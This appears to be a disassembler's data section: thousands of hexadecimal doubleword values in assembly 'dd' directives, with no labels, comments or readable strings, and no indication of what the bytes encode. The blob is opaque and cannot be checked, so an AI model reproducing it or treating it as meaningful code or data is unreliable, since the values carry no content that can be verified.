		dd 132E500Eh, 0A680005Eh, 0E8DC7Ch, 37C02D61h, 97561531h
		dd 0E10B34A1h, 1070F716h, 44FF7E00h, 31DB5C06h,	0EE301D7h
		dd 815DB452h, 0C242DCC1h, 0BEC74507h, 68E012DEh, 262488Eh
		dd 3521D1D9h, 47C002F3h, 0E0000F59h, 670436FFh,	38B95B81h
		dd 2E804275h, 8657DE4Ch, 90E8DD9Ch, 7D4321C7h, 0BC95BEF1h
		dd 3AD7F4h, 360B6A5h, 0AC236558h, 32EF6E0Ch, 0AD3195h
		dd 7E2BDAD6h, 0D8CFA09Dh, 3188DC01h, 14E0C624h,	0EF1EF0h
		dd 3DEDC082h, 5D6DB8FCh, 6799BB00h, 0BFE95C0Bh,	105B6083h
		dd 0A8C443E1h, 0A518680Eh, 0B5091973h, 4AC12180h, 6D4C1EC4h
		dd 15413300h, 0AFE88A76h, 5B1A06DBh, 999959C6h,	41552E1Fh
		dd 0A6E670F0h, 0C7440393h, 298CCE59h, 61019D6h,	944005FFh
		dd 84048CFCh, 542E2342h, 0CE2FBA62h, 739E41ACh,	6DD0073Ch
		dd 0F4E001EDh, 0F39D0A8Dh, 99B500C9h, 1B3D18CEh, 59D410BAh
		dd 0D5F2C300h, 7E83DAC6h, 55A00D7h, 0E92EE2C4h,	98004E09h
		dd 0C18AAA2Ch, 0EC81F1h, 0E103E5E8h, 0CCA33693h, 1EC2A900h
		dd 0CB3457CAh, 0FAE00F6h, 125B9C11h, 3600236Bh,	5408444Bh
		dd 0F1EDDB8h, 2A65AA8Ah, 81DBCF00h, 0F70577CBh,	20DF3B7Fh
		dd 8FB094C0h, 415D181Dh, 0FEE720EAh, 1CFA171Eh,	0EE38B8C0h
		dd 12DEAF21h, 4970CCh, 34870708h, 0DC0C5F77h, 59E52D32h
		dd 257D00EBh, 0BF2AF3BEh, 35794076h, 6517C307h,	0BC33A9C2h
		dd 6CE1D816h, 257318F6h, 48CC199Dh, 3E841A00h, 0FA643014h
		dd 0D740C3C3h, 0C0C5B425h, 0E321F828h, 0E5965200h, 38C0FD0h
		dd 416F0C2Bh, 0EA80665Ch, 0A59A6018h, 0BF49C9h,	0DAAAB293h
		dd 0F05459E4h, 0F8317000h, 9E2B0217h, 560C06EFh, 41641DAAh
		dd 81007D7Ah, 0C5586157h, 2648FCF6h, 139CB0h, 0A52F2EA7h
		dd 18005D1Ch, 0ADB16A3h, 0EB321Eh, 54302B90h, 409228BAh
		dd 501B0630h, 331F181h,	0C65C1E10h, 58A84C6Bh, 7D00577Ch
		dd 760702C2h, 3A2ECB1Fh, 0C00212Dh, 0AA6FA873h,	47007709h
		dd 43A9947Bh, 0E87F14E1h, 8F18C040h, 4776ADFFh,	0AB2890F0h
		dd 4600181Ch, 727DC03Bh, 7A385B8h, 0BD6D86AFh, 0BA3C5016h
		dd 3000DFF6h, 45BF1CD6h, 573249h, 8B7A55BEh, 0D39ACBB1h
		dd 31E23402h, 9EF3ACCCh, 70126014h, 44363040h, 0FD1798C0h
		dd 98AF6754h, 2A231860h, 7F06B1CEh, 0EA85E00Fh,	0F02B82F1h
		dd 580C8143h, 0D412E9B6h, 0A1A33418h, 0CC0CE818h, 0EC30F342h
		dd 6586BE61h, 0E8E0A141h, 0A1FE6136h, 80A5B35Bh, 0BB9626A8h
		dd 2A731D92h, 6987B81h,	36BE177Dh, 5F44503Ah, 1CACD0C4h
		dd 45CDFC00h, 0E7AC73D1h, 0E625271Eh, 0B672E101h, 36E8D07Fh
		dd 0AD51C7D3h, 83CF373h, 0E2788178h, 11D0BD30h,	0DAEBFC5h
		dd 4685F171h, 0B87DF060h, 665079C1h, 0C88D3179h, 0F020A9AAh
		dd 0A2481B78h, 56F203ABh, 98A7AE1Ch, 1841FD14h,	29AB3190h
		dd 3D00AAD7h, 1C7B6D8Ah, 0CC7625FEh, 0B7219D08h, 353D7201h
		dd 4C1166AEh, 155A3F4h,	7AC0AAE1h, 0E420D7D5h, 0D6E07190h
		dd 1CA87214h, 37301C5Ch, 0B7F3940h, 3DCF87h, 6E5546ADh
		dd 7E60C427h, 18AD420h,	4041F856h, 25A329BAh, 77818068h
		dd 8E244391h, 0E711C0BBh, 3BE1BEA6h, 0AA65B706h, 6708BFC4h
		dd 507821CFh, 0E77645BEh, 0AC28B300h, 4A176775h, 0D57D242Eh
		dd 0FACC0004h, 77E4029Ch, 0FCCA4D1Ah, 0E5810FC8h, 9447E13Eh
		dd 3F8664D9h, 5F744C10h
		dd 8592E00h, 20EC17A5h,	83D1D300h, 3C7D1039h, 74780187h
		dd 1907B1CEh, 24B2D885h, 59016F79h, 3D792EFEh, 9FDAA2C3h
		dd 9B515804h, 0C9E253Eh, 188B5B74h, 0F344007Bh,	0A2753158h
		dd 90000E20h, 0E6854BD6h, 3B047477h, 7B8C8AB9h,	0AE29DC54h
		dd 372340h, 5A9DBA67h, 778DDAC4h, 0AA2DA300h, 0D798BF96h
		dd 391E0042h, 2F5F6AB7h, 3D0F0B0Ch, 2667CFh, 4547CB78h
		dd 32EE0055h, 0EFB856E0h, 9F1693CAh, 150034A6h,	23D22910h
		dd 52FF1F1Ah, 80965EC5h, 97941513h, 503EEFE1h, 811C07E2h
		dd 0B1A07BB9h, 60789C43h, 420589D1h, 75190CE0h,	0E72926CEh
		dd 489222E8h, 3C00B915h, 0B0E0741Dh, 251E346Ch,	0F0A5C1EBh
		dd 59BE001Eh, 78C971D4h, 61EBC10h, 0FA00039Ch, 15119641h
		dd 0CEBD3C26h, 47D78483h, 7000D8E2h, 8C93F5CBh,	3FDCE5BCh
		dd 0FD80EABFh, 9270CE2Ch, 0E000B0F7h, 0AD08CEDh, 1D4A23Bh
		dd 73627F2Bh, 0ECEF1609h, 5300C17Eh, 0CF21D6D5h, 365105h
		dd 9A25322Ch, 346AB092h, 2DDF8A00h, 0BE8C9FC0h,	0A74300FCh
		dd 0B67F8FDEh, 0D51F0B96h, 6140D136h, 0DAE723D7h, 4ACD00A9h
		dd 6C6E0682h, 0EE65189h, 1857F500h, 8410428Bh, 237306D0h
		dd 116375FAh, 31C110Fh,	0B3A2C06Fh, 0E3E0E1h, 88C3A4A3h
		dd 44F263DEh, 0E5EDFA00h, 620D9752h, 7297802h, 4C74FFE4h
		dd 0C48320EFh, 0FE0B3933h, 0B13EA8h, 3DDFD45Fh,	49281D82h
		dd 426444C8h, 0EE548385h, 780059EEh, 5762B2C7h,	1BBAB81h
		dd 7AF52F68h, 50D652A1h, 0E26B0BE8h, 0E489EDFDh, 96006A46h
		dd 715EED3Bh, 6FA3F8h, 15FBAAC7h, 89F2C8D8h, 9C10A00h
		dd 0AB38FCD4h, 48196022h, 6AC63ED3h, 3CCA5919h,	0E080DD88h
		dd 0E2EB4258h, 38008CABh, 5E1EFEE6h, 55077899h,	2E44401h
		dd 0F38E00DFh, 0DC1EAB92h, 0DE0033B3h, 0B823DDE1h, 3D82812h
		dd 0C9FF4AC6h, 54C80C27h, 7E384F55h, 0E0E6008Fh, 9BFA0DEh
		dd 5EDA3722h, 37D09099h, 98002F2Ah, 0F1F31A68h,	22C02Ch
		dd 73C176BEh, 9388FF59h, 3C5B8900h, 56D46BB7h, 815D00D3h
		dd 7DDD3ACEh, 0F800380Ah, 7B324537h, 0E271EC6Fh, 9DDE26E6h
		dd 6CFB0004h, 4D3C8610h, 0B439BF00h, 6BF84AACh,	881E6895h
		dd 893204A1h, 0E32C8318h, 0CE689EF0h, 8A915E00h, 0FB9D1AACh
		dd 2946002Dh, 8DC19077h, 0BD004FB3h, 0EF1DE1C4h, 0F0B72439h
		dd 0D09A00E2h, 0AD978A06h, 1F00D541h, 79E6ABA9h, 807C9h
		dd 0C8A8B982h, 248B88CEh, 360ECF00h, 682C3005h,	0F22D01F1h
		dd 2628716Fh, 8EE8CC9Bh, 4B579E00h, 5F477B46h, 0FB204BBh
		dd 0D01BB021h, 0C109D0DCh, 82D1FF1Eh, 4E266140h, 5EAAC6h
		dd 8A491DB8h, 2F4D99F9h, 1C465B09h, 20B80130h, 0CBC1BFDEh
		dd 0CEA5E440h, 0A1930064h, 968CDFF0h, 13E028Eh,	0B416260Bh
		dd 0C7559C80h, 901E83F1h, 82E420h, 26891171h, 0FA202AF7h
		dd 0E9CC870Eh, 0CBCF103Bh, 4D113980h, 6348314Ch, 0BBF3B060h
		dd 0C1AF006Dh, 1003764Ah, 0CA056172h, 3BA24921h, 0F414D440h
		dd 28A69327h, 0BCDF77h,	3171897Eh, 2D445AF9h, 39D440E7h
		dd 0FAE211C1h, 0F3674B0Eh, 8B120193h, 5C404E36h, 9264E986h
		dd 0D0D50044h, 895868ECh, 0A3827EFh, 0F514838Ch, 0A95DBCF2h
		dd 2EDC0224h, 566D053Fh, 900AC2F3h, 4DED0D40h, 8EA78706h
		dd 1996392h, 91788DFAh,	83DC0F96h, 8A329A80h, 0B03D8311h
		dd 0E4D28F29h, 44800090h, 65E51D71h, 0DC64B7B8h, 78806440h
		dd 0C1607F0h, 0F2B6F38Fh, 0E9484049h, 0C2D2180Ah, 30FBBF80h
		dd 2C79F0C9h, 0AE24054Dh, 0FD01BBB3h, 230A2533h, 0E0ABF830h
		dd 8E5D152Eh, 2400A803h, 5E556287h, 61C7846Eh, 60DFA5D7h
		dd 18E5540Fh, 0B5330C08h, 4888130Ch, 59ECC54Eh,	5CD4781Ch
		dd 0B0F00122h, 0F029FF21h, 8409D6F3h, 20CF528Ah, 0C805C1F8h
		dd 3B630960h, 40A56770h, 1884069Bh, 300B9F3h, 0E187D4D3h
		dd 60886135h, 2738199Ch, 0BC588B9Ah, 0D5D2002Ch, 0DBD357F8h
		dd 107E639h, 144A5D5Ch,	0D08F1B65h, 0A7007479h,	6DFA8CB0h
		dd 4956AD73h, 0FD038491h, 0F481A223h, 97920780h, 0E9658D03h
		dd 0FF575AA6h, 0CD87989Ah, 0EEE1FEFCh, 4EC0531Ch, 0BBA501E7h
		dd 6944A4F8h, 11EC3379h, 47893CC6h, 24A17E00h, 8372DEE3h
		dd 9300CAB0h, 3253E82Ch, 938F332Eh, 5EB68014h, 3F42E157h
		dd 8F14DC00h, 4D485C9Eh, 3A303E7Ch, 0AA87BE07h,	71C28629h
		dd 964E748h, 27D20AB7h,	0B0D2EC70h, 0BDC6E0Ch, 6D3EB8CBh
		dd 0AE20081h, 0E460E25Bh, 1130C2DBh, 6164F0FEh,	0C0427C1Eh
		dd 0F1200979h, 391E8649h, 0D645E37Eh, 0E81FD976h, 8B381F40h
		dd 3B30CEBh, 4AEEF024h,	0D127D1CBh, 3D05076h, 0B75AE785h
		dd 0E93ADCD0h, 0E0FF0010h, 0AF5CC8DDh, 2B8D3575h, 0DB2880A9h
		dd 0B17629D6h, 0E23C2F1Fh, 0FC2B3700h, 0B0E16F3Eh, 45D001CCh
		dd 0D035266h, 0FD8BD4A2h, 28370900h, 0E91E9306h, 24BF451h
		dd 2B10B76Eh, 1CC0905Ch, 0FA2C70E0h, 34032E86h,	91F023h
		dd 7D832B18h, 6EDF9472h, 0BE0E9DB8h, 0E10EC307h, 32DD17D2h
		dd 0FF6F7C34h, 4082F89Dh, 0C2CEB614h, 3A0013E8h, 6556F67Ch
		dd 4C2569h, 2EE70312h, 3B017BAFh, 88742201h, 514DFB5Eh
		dd 2537C0D3h, 0F7B41EF9h, 58648015h, 41AFB124h,	0C3F00D0Fh
		dd 0DEAE2227h, 1BA8A3A6h, 5480A72Ah, 6095D2h, 0E813B98Dh
		dd 41EE1290h, 80C70A07h, 303203B2h, 88924314h, 33C325Fh
		dd 0AB5550B8h, 4BD8B30Bh, 0F805CD2Fh, 1256EE19h, 0F0A98680h
		dd 86500ACh, 0CFC632E9h, 86005374h, 915C3F6Eh, 9A5F14E0h
		dd 0DCEB3D74h, 4ABF8182h, 828ED827h, 18DEE840h,	0CA49C585h
		dd 80150744h, 0BD67A27Eh, 114E38E3h, 15ED0B41h,	0FCEE07h
		dd 52F5733Eh, 9277DBh, 894A59EAh, 605323D6h, 0E50AB9B8h
		dd 0C48D49FEh, 7DEE8C3Ch, 94769B4h, 0DF7CC2B1h,	0D030C880h
		dd 1B091F3Bh, 36D86h, 0F60F6078h, 4D08009Eh, 0B227150Ch
		dd 1416136Fh, 98410521h, 0E24BE58Ch, 0CFC74h, 0AA4EA17Bh
		dd 2D35BE8Dh, 71C762FCh, 4905FADh, 51B27Bh, 0FD18BD54h
		dd 841DDEEEh, 0E0E47804h, 0D092A039h, 0B58C6191h, 0AB2C880h
		dd 5B4E1294h, 0FE2BF20Eh, 0EF262021h, 5C17A095h, 0B7A2235h
		dd 0AE50D57Ch, 0DC26241Dh, 0BBA14004h, 0B0A46704h, 4002688h
		dd 0A765030Fh, 0CA94AAh, 6B24C574h, 0AE82199Eh,	4D38594Ch
		dd 0FA3A74h, 621E7C39h,	635D603Bh, 0F69268EDh, 0F01802D8h
		dd 242CC002h, 0C363E214h, 0E0CF9FD8h, 0BE43556Ch, 9DE3D79h
		dd 31D47580h, 543BCF88h, 0E5265313h, 0E85DD822h, 17E685D4h
		dd 3088C44Ah, 0D4B61020h, 0E962FC00h, 5B191F60h, 0EB2D044Ah
		dd 0A33B08F1h, 0EC22A4h, 0F28838CCh, 577B978h, 8F3FE213h
		dd 9C1C6C2Dh, 1C67F01Eh, 936BC0E7h, 0F6BC02C4h,	88C87459h
		dd 0DF0D9D65h, 1023E8F7h, 789B0920h, 17480004h,	37B85A51h
		dd 83F04907h, 25BCE000h, 54AB4415h, 50BE05F2h, 0D8D493CEh
		dd 0BF5367A8h, 802E05CCh, 0B88C5984h, 0A3001C1h, 44BA9D3Ah
		dd 67586155h, 0E1290090h, 184E20E2h, 4C4DFACBh,	900062C5h
		dd 7F83FE34h, 38171B46h, 0EC0F07D2h, 0DB80C09Dh, 0FADE2Bh
		dd 0E9496CE6h, 6FD347A9h, 0B314AD00h, 0FE7CA62Dh, 0F8A0E861h
		dd 391E0020h, 0AC0CE68Ah, 5C0E2AEEh, 611FC359h,	0B09450F0h
		dd 38D24820h, 0DA003F63h, 5FCFFD15h, 66042285h,	0B2AEA89Bh
		dd 5BD2BC80h, 0C42139EBh
		dd 923BF449h, 0E5500380h, 0E6F5CF3Ch, 0A53AEA1Fh, 2F100138h
		dd 13E46676h, 18BA1BC8h, 38DDC814h, 38027D26h, 0F7C97618h
		dd 0CD988182h, 0E88C2F5Fh, 7928CE10h, 9C302000h, 0BD7A2D91h
		dd 7F7B0069h, 0B26A4CE5h, 0EC28A8CEh, 26E6EA08h, 0BE362000h
		dd 5BFBCB43h, 287055h, 5364DBB9h, 67E634A8h, 0E1175600h
		dd 0A9B582B4h, 35E00029h, 690DC999h, 0D703C588h, 81DF9E0Fh
		dd 31149073h, 74300053h, 4627AEF7h, 3E486FC2h, 83330054h
		dd 603109C7h, 7369006Dh, 5F45D97Eh, 4370C4D8h, 0A31CDF90h
		dd 6985834Bh, 8E0F79B4h, 5FA400EFh, 1AA39F4h, 89442E12h
		dd 0C8AFBBE4h, 3813A69Fh, 64000468h, 507DBD08h,	2DEC00FFh
		dd 8D828674h, 30005AEAh, 133F8741h, 20273Ch, 6128F26Dh
		dd 4B3216CBh, 0C5CD700h, 7E5859A7h, 9039008Bh, 0B3D221B8h
		dd 0E100BF54h, 7AD02DC1h, 5A3C9Ah, 0B11529D3h, 6CDA0B0Dh
		dd 59871900h, 854017C2h, 0EA7870D0h, 84F5A191h,	92A3E0h
		dd 7E2FFB1Fh, 48C32129h, 8D0EA407h, 39B120E3h, 4CE4AC56h
		dd 994600F5h, 0B2238A2Bh, 12B8117Ah, 0CDAE3107h, 0C4617F01h
		dd 65E4B437h, 38FB07D1h, 80F07987h, 1F011D84h, 0D8A9E100h
		dd 0C5F8D67Dh, 726200EBh, 7C234579h, 513CA7AFh,	0CF3EFA0Dh
		dd 913A89h, 856B29EAh, 7948083h, 3DBB36DCh, 8C9E10FDh
		dd 0AC00388Dh, 86207009h, 723BF4h, 93F0E1A8h, 9933B4A9h
		dd 0E367B500h, 8F6D8C38h, 0D3A500D9h, 5F0C1347h, 610FB160h
		dd 4012E87Dh, 0C1C5E75Ch, 32980794h, 20F295A7h,	85019C97h
		dd 9A01C4F8h, 770523D0h, 75EC6C7Ch, 68341F63h, 0F9220F55h
		dd 6002F100h, 1A001FBAh, 9389C1D5h, 4B9632h, 0E5790120h
		dd 7E9EAA0Bh, 3C606A00h, 0C0D5ED89h, 0F69400A7h, 8063A142h
		dd 4160D231h, 89476210h, 0CF6F0F07h, 2340B2E0h,	57EA9DC7h
		dd 3CC6C00Fh, 0D6C1A349h, 876EA2A8h, 0E9017B0h,	3FBE6624h
		dd 15804BE9h, 0DAA4F1EEh, 0CA097AF8h, 0C06499A2h, 405324Ch
		dd 0EACC28BCh, 0BBFD80D1h, 2100F4C5h, 0FE2666FDh, 4719DCh
		dd 0C9ADE316h, 2ECAEC90h, 0C509F304h, 990CD73h,	7724620h
		dd 0ED0E9527h, 0D081E149h, 3C682044h, 65969A00h, 4F2A404Bh
		dd 2CA87EEEh, 9DDCCFD4h, 32CE005Ah, 884C845Dh, 260184B8h
		dd 918A056Bh, 0D3CC6CE7h, 6F413890h, 0A5CD7000h, 32C5DC4Ch
		dd 8BD83600h, 60A455CFh, 8AC20171h, 2040DE4h, 23F02040h
		dd 38D67300h, 99FD5066h, 0E96E0063h, 94C8AA7Ah,	0AD00AEF3h
		dd 1336D2B4h, 0E4E4701Bh, 820B3CBAh, 272FF400h,	1EE27A49h
		dd 2499D439h, 9E00BBEBh, 0F4F848A6h, 36CB0026h,	6B1AB9AEh
		dd 562C0AF1h, 0A5807021h, 28C7C987h, 2D390267h,	71E888C0h
		dd 75F33840h, 0F10064FCh, 8B5091Bh, 173572BFh, 1FEC8925h
		dd 0DABC0E08h, 82878600h, 80F01916h, 0AF41A900h, 4AB409A5h
		dd 502D0FD8h, 74E783F8h, 31363013h, 653F05E6h, 99BA003Bh
		dd 0F598A6A4h, 869400A0h, 1B87EBFh, 93125262h, 480E789Fh
		dd 21BC00AFh, 0C9ACA0h,	0D6F8F1Fh, 0D784B970h, 9C667F07h
		dd 998720DEh, 8A9DBF30h, 911C0067h, 0EB5AA5B7h,	0EE0051A9h
		dd 22818436h, 0B4494120h, 2F123EC4h, 0D8703EAh,	0C42DF058h
		dd 7BEC0010h, 2827B1A4h, 0C4B043h, 1AC9EDD5h, 4A535F3Dh
		dd 9B003490h, 0EC5EA314h, 90A90AA1h, 0C9650006h, 0CDE57E69h
		dd 0D6002538h, 0DD505E9Eh, 0B0EB63Eh, 0C6E3FAA4h, 3811EC21h
		dd 0D07F21BBh, 96000993h, 8D1BA16Eh, 79A4Fh, 924491A4h
		dd 0D8E6A8C1h, 0D58FBC00h, 8BF73C7h, 0EEB30058h, 3265660Fh
		dd 9D2EBA24h, 0D0C1B55h, 0C360A3h, 9A385A23h, 6696A1B9h
		dd 0ABD5810Dh, 0EE4680CDh, 1CE81010h, 822E1E9Eh, 0E6C6AE1Fh
		dd 28209677h, 175878FCh, 0FBA197Bh, 592755A4h, 39A0CF46h
		dd 1443FCEEh, 3C00D894h, 0A9C90644h, 82E6349Eh,	59308040h
		dd 5E1955D3h, 3051C73Bh, 57C30980h, 0AEF5902h, 8158920Eh
		dd 70BF6505h, 380D1007h, 0C0BA611Ch, 8077E998h,	85008ACDh
		dd 94B9ACBh, 302D767h, 5662A57Ch, 3001D340h, 2D0A0F84h
		dd 0D8837E8Bh, 0FDD74312h, 0DCC2580Fh, 0BB49001Fh, 20A81Ch
		dd 0D75CE911h, 0AA963CDBh, 0A2280760h, 706F99Eh, 67E0F3FCh
		dd 8F876A1h, 4721AB60h,	350060Eh, 0BFFE4B54h, 0B1583FF4h
		dd 517F0374h, 1888B415h, 397675D1h, 0AAA0093Fh,	20FE3A4h
		dd 83F6C435h, 4315112h,	63AB5D41h, 0E6938043h, 9CCC001h
		dd 0FFD2125h, 3A2A63D3h, 1D7793E0h, 0F900F4A3h,	0DE8E1E2Ch
		dd 61178C6h, 751C39DFh,	0EF3A7993h, 64D8006Dh, 0D6F415C4h
		dd 0CD8E3CC0h, 3CBB9B1Eh, 6296784h, 0DE4CB0DDh,	4A8A151Dh
		dd 5E212B02h, 0CC17615Fh, 0FBA448h, 1831528Dh, 5F402903h
		dd 0C5D869C0h, 0D99E25h, 1F0BD5A9h, 0D26902EEh,	7FBE8300h
		dd 0E5C56787h, 8B8D00FAh, 0C289610Bh, 79C09B49h, 730316FEh
		dd 0F29000A6h, 1E86DF8Eh, 0AB0F7D4Bh, 5ED1534h,	0AC5E9D8Bh
		dd 0C2967187h, 7CC462E3h, 0E6720C41h, 32111254h, 930088EEh
		dd 0ACA63A4Bh, 0B8A747FCh, 2BAF0EEBh, 22B20879h, 8C6082A0h
		dd 0DA03057Fh, 420DC758h, 0B9A351h, 7ED0E1F9h, 16FD7E8h
		dd 5F756B07h, 8A30FC74h, 6C6777Dh, 0CF3158D8h, 0AA2AD07Ch
		dd 69EA8C7Ah, 62F32F00h, 13FE75BDh, 0FB9300D4h,	2B051940h
		dd 4302E2A2h, 71BF89AFh, 0FD4448D6h, 1B94188Dh,	0D314A09Eh
		dd 60D989CFh, 5DCFD063h, 0F9E0006Fh, 217D2CA7h,	609F92A4h
		dd 540C26h, 0B25799FBh,	0BBE85E83h, 5491BF79h, 12B58400h
		dd 0B86F23h, 3CE49DFDh,	0A72A37ACh, 20E4FC50h, 0A8A37A06h
		dd 7E79D2FAh, 70D30F1Bh, 0DA606912h, 4D0CAACEh,	0F7D8C700h
		dd 14830330h, 60BF29F2h, 1CE400E8h, 0F455C0Dh, 0BCBAEE07h
		dd 0AEE3F235h, 6D54E0A0h, 0A9530073h, 8ED1B480h, 50FBB112h
		dd 64FBF4C8h, 56958D13h, 21910D0h, 5A6B6F3Fh, 59879A00h
		dd 8100505Ah, 63B4BE4Bh, 2510C66h, 0B58F6991h, 0C48CB74h
		dd 0C2002FE2h, 61613ADh, 300DBE1Eh, 96296539h, 81001D70h
		dd 638EA580h, 0CEBFB015h, 77A4A7F9h, 503C975Ch,	3B7ED34Ah
		dd 15EE240Dh, 0F44019A5h, 2282B6h, 6F9E7990h, 8C682F0Ch
		dd 7EE44Ch, 0CEFCF592h,	0B9CAB1h, 80BB0D95h, 89AD7229h
		dd 7AB33Ah, 0A9B43B36h,	33D1EF8h, 5177D8Bh, 91A380F3h
		dd 423F2100h, 7BEAE15Dh, 85190408h, 0C0ACC9D8h,	9895EB4Eh
		dd 29419D05h, 898027DCh, 150AA20h, 34C77E5Eh, 82B2CC0Dh
		dd 608D9448h, 7015607Ah, 307E0E77h, 378D76DDh, 7ABF4021h
		dd 78008F02h, 556C654h,	63720857h, 7C215011h, 84732879h
		dd 786E7037h, 6C0BA98Dh, 309DA384h, 2EF8E4h, 641683C2h
		dd 0F2187E80h, 0F9601150h, 7A8C048Ch, 385018EDh, 7A5204F3h
		dd 0C7EB716Fh, 0B31A5156h, 6A918081h, 1CE0FA4Ah, 6EFE00C9h
		dd 312C3343h, 0E70E4BEFh, 0E098709Ah, 18AA1B06h, 2203094h
		dd 0FDB487E0h, 0B3262C00h, 2E32B864h, 0ABED007Bh, 90D4920Eh
		dd 0EBEAC46Eh, 0D3B23504h, 0CCC09619h, 4D8EDFh,	548BE21Ah
		dd 7EA82C5Dh, 2ECFE00h,	0D3863877h, 5FE8A0h, 9C5C064Eh
		dd 0E4455672h, 0FC441700h, 8E585332h, 2D3A1C3Ch, 0DC4F4011h
		dd 0B8FD64D9h, 6FBE7F00h, 0DA4C1ED2h, 0CCD007EDh, 0F058969Eh
		dd 2A95E69Fh, 0E0556700h, 0C5B98F56h, 0F59A0E39h, 12D64Fh
		dd 0BE57091h, 700E6F3h
		dd 1DB29C46h, 887D27h, 5883B47Fh, 905D3FE0h, 8460AFE8h
		dd 35CC0E24h, 199F0C22h, 7E0821ADh, 0B0E621C0h,	7F3EF0Eh
		dd 959DA796h, 26809F70h, 9D4BE91h, 0FB3ADB00h, 0E3DA35EAh
		dd 0F631004Bh, 2497AA2Ch, 0BD147FCDh, 1DB4DE98h, 0E40E82DDh
		dd 0A13A40AFh, 0C8ABEB7h, 6299FEF4h, 21C4D208h,	51074945h
		dd 7D4C51E7h, 7F488091h, 0E4D08CF9h, 0FAB4302Dh, 12300288h
		dd 0B95E7E00h, 723F1952h, 62E30383h, 0C6ABD3D4h, 0F558C867h
		dd 0CCEB7641h, 95CF1180h, 40189897h, 33634273h,	0F857709h
		dd 9794EF20h, 0D47EC9E0h, 7B739E36h, 0D7CCAA13h, 60FA481Dh
		dd 431983B1h, 0CA2D1FEDh, 0FC760080h, 90551EDFh, 0B50A70FCh
		dd 0C08D7451h, 615CDD88h, 20CE0E96h, 0C0A6B133h, 50F344h
		dd 0D9760EAEh, 97B7DD7h, 80A43528h, 512ACE0Ch, 0FAAD29AAh
		dd 82FA0088h, 5DC1B6A2h, 0DD0F5797h, 22ACD2Fh, 84952DA1h
		dd 3E639FC4h, 6ABEEBE8h, 0C10F743h, 7DD90027h, 8982B9A0h
		dd 592E66Bh, 3D37C4FCh,	0F1F00545h, 682C1B99h, 7BD440DDh
		dd 168BE866h, 0F9778603h, 0E9FADE6Ah, 3E301E53h, 3FCF00F3h
		dd 50495A67h, 0E400A076h, 4F5FA2D1h, 0F6909A0Dh, 0FDD29A1h
		dd 405A7F04h, 1AB744Bh,	8FD839EFh, 8F8BF588h, 0CE02920h
		dd 1CC7280Ch, 8095A0E3h, 731BEB24h, 0D700E90Fh,	609CC8F7h
		dd 237ED13h, 55CB76EFh,	0A86348A1h, 2E706900h, 0DB8AC47h
		dd 0D1081A51h, 0B88C0815h, 5A00A320h, 29970B44h, 10CECBABh
		dd 9C647599h, 629073C3h, 6B510317h, 6ADE3007h, 7EF44AA0h
		dd 8825900h, 0D6FA8FFCh, 0E02B3EB6h, 0E9A41818h, 4B00BD81h
		dd 0E8CE3C85h, 0C63154F3h, 20E01808h, 4B45CC00h, 609310F2h
		dd 0B079C075h, 6D1FAD09h, 0F85011C0h, 5413B02h,	6B0A6313h
		dd 99A42020h, 0D7612F1Fh, 930C151h, 7F4AE0h, 27B15C65h
		dd 0FFF039EEh, 566B5D0Ah, 7D80AC75h, 2D301881h,	0F7A50A2Ch
		dd 1D7C847Fh, 0AB978085h, 57FC93A2h, 0D435B100h, 5A76A927h
		dd 0CFFD07D9h, 70016316h, 0C1FA1790h, 1C8DF80Ch, 6119A01Bh
		dd 5659911Fh, 0C3EE6014h, 16576F01h, 974C924Eh,	81DCDC4Ch
		dd 859182Dh, 15B91D44h,	0E2149C6h, 0E8447190h, 0A35FB260h
		dd 0E50028A9h, 8012637Bh, 11734Fh, 5E270329h, 385AA490h
		dd 0D0A12000h, 68B554D5h, 0AC2400F8h, 0DC0C4E77h, 1B005B46h
		dd 21E63614h, 549C6AA1h, 499A9471h, 0FC00580Ah,	57A6F92Eh
		dd 0E6009E03h, 767E1DB1h, 0E60C04D4h, 640D4869h, 0F316033h
		dd 19AD9D90h, 5C11DC60h, 1896FDC5h, 618EE052h, 320C5AC9h
		dd 2A87CE28h, 101F0094h, 0B9FC40B6h, 3BE88208h,	85A5D70Ch
		dd 28B4963h, 6B3CF569h,	9A23540Ah, 1C7900E2h, 59F17B82h
		dd 670081FFh, 1E6190FAh, 0E714796h, 7327DE2Dh, 38643592h
		dd 0F912906Ch, 34408A19h, 221EEEBh, 915C19B9h, 512F2979h
		dd 532E19CCh, 0B5B010F8h, 4F7EC28Dh, 8C5F3Eh, 0F16FA68Ah
		dd 50546B0Ch, 88E65890h, 0B00D397h, 49CF1C3Ah, 2429C2F4h
		dd 0C943640h, 0B73179DCh, 2A9DC607h, 0BF70CA25h, 0F88EF464h
		dd 1C934Bh, 0B9F3472Fh,	0F8915645h, 44678260h, 0DFB328F2h
		dd 7FE9EE2Ch, 7F520038h, 0F230B86h, 344C449Dh, 0D1E8504Ch
		dd 4A021F43h, 463C7E4Bh, 0E3101E31h, 62004B12h,	0CF3F8190h
		dd 0C64217Ch, 1F52E2Fh,	0BECD0F1h, 99081891h, 2AE380E5h
		dd 58463210h, 73A52D00h, 403C27D5h, 0A9F1031Ah,	8AAF5C66h
		dd 0B6BC981Dh, 5F81FC40h, 3132A00Ah, 1E49E7DFh,	0C0832EBh
		dd 190898B9h, 6F140F1Dh, 276D1FEDh, 5351CD21h, 2AE0B684h
		dd 401F4266h, 0B4454E35h, 64C06074h, 0D8A741h, 15C077DCh
		dd 7D2B2D12h, 0ADE5AA02h, 0A02EAEA4h, 2F66B0B4h, 0B8B35484h
		dd 5BF800FCh, 2E833EB6h, 47EED91Eh, 0ED9E771Dh,	0CA178F07h
		dd 0E919E571h, 7A859183h, 0ADEA6AA3h, 89269640h, 803B0903h
		dd 0B0B1F38Dh, 196AAFDDh, 0B81004B3h, 982EE012h, 33797F03h
		dd 0CE2174B5h, 1380081h, 4DDE5C2Ah, 88505A65h, 18431AE8h
		dd 7F884B38h, 0CCC4BE3Ch, 4B13E241h, 0F4A4F4DDh, 8FE46304h
		dd 38946062h, 0D3748Ch,	7A542E2h, 1476B923h, 474C8190h
		dd 6891314h, 9821740Fh,	58BB99h, 752BE485h, 0C5ABBF4Eh
		dd 4FA82800h, 0D1487778h, 62A10501h, 136A735Ch,	232C3AF8h
		dd 0D6421D15h, 0AB1440ADh, 73777B78h, 8011AA3Fh, 17BDDD1Fh
		dd 0C04286B2h, 0B170AFD1h, 9F3C6E73h, 0F5200563h, 3C201DDFh
		dd 237A4B1Eh, 1911263Ch, 1A81728h, 6BA3A074h, 2080B88Eh
		dd 0B1032014h, 7A8DF1ABh, 6CC0DCA9h, 11D73AE8h,	950648Fh
